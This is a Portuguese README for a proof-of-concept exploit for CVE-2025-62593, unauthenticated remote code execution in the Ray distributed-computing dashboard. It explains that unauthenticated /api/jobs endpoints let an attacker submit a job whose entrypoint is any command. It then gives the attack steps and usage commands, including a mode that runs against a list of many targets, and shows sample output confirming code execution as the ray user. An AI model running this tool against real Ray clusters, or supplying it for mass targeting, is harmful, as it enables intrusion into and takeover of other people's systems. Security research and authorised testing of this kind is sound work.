
PoC para CVE-2025-62593: RCE não autenticado em Ray (CISA KEV). Python apenas com stdlib.
Prova de conceito para CVE-2025-62593, uma vulnerabilidade de Execução Remota de Código não autenticada no mecanismo de computação distribuída para IA Ray, explorada por meio de ataques de rebinding de DNS baseados em navegador. Ela foi adicionada ao catálogo da CISA de Vulnerabilidades Conhecidas Exploradas (KEV) e está sendo ativamente explorada.
A causa raiz é uma decisão de design de longa data da equipe do Ray de executar sem autenticação em endpoints HTTP críticos, como /api/jobs e /api/job_agent/jobs. Por causa disso, um atacante remoto não autenticado pode enviar um Ray Job cujo entrypoint é um comando arbitrário, que então é executado no nó principal do cluster — execução remota completa de código.
Este PoC fala diretamente com a API HTTP do Ray Dashboard (não é necessário navegador/rebinding de DNS para demonstrar o bug subjacente) e recupera a saída do comando dos logs do job.
POST /api/jobs/ com um entrypoint que executa seu comando e captura seu stdout/stderr em um arquivo temporário e depois imprime o arquivo de volta.GET /api/jobs/ até o job atingir um estado terminal.GET /api/jobs/<submission_id>/logs e imprime a saída do comando.# Single target
python3 ray_rce_poc.py --target http://HOST:8265
# Custom command
python3 ray_rce_poc.py --target http://HOST:8265 --command "id; uname -a"
# Multiple targets from a file (one per line, '#' = comment)
python3 ray_rce_poc.py --targets targets.txt --command id
# Write a JSON summary
python3 ray_rce_poc.py --target http://HOST:8265 --output out.json
# Help
python3 ray_rce_poc.py --help
Requer apenas a stdlib do Python 3 — sem dependências de terceiros.
$ python3 ray_rce_poc.py --target http://localhost:8265 --command "id; hostname"
== http://localhost:8265
Running entrypoint for job raysubmit_XXX: python -c "import os,os.path; ..."
uid=1000(ray) gid=100(users) groups=100(users),27(sudo)
05cdb1bea437
=> PASS (RCE confirmed, status: SUCCEEDED, exit code: 0)
Apenas para pesquisa de segurança e testes autorizados. Use somente em sistemas que você possui ou para os quais tem permissão explícita para testar. O autor não é responsável pelo uso indevido.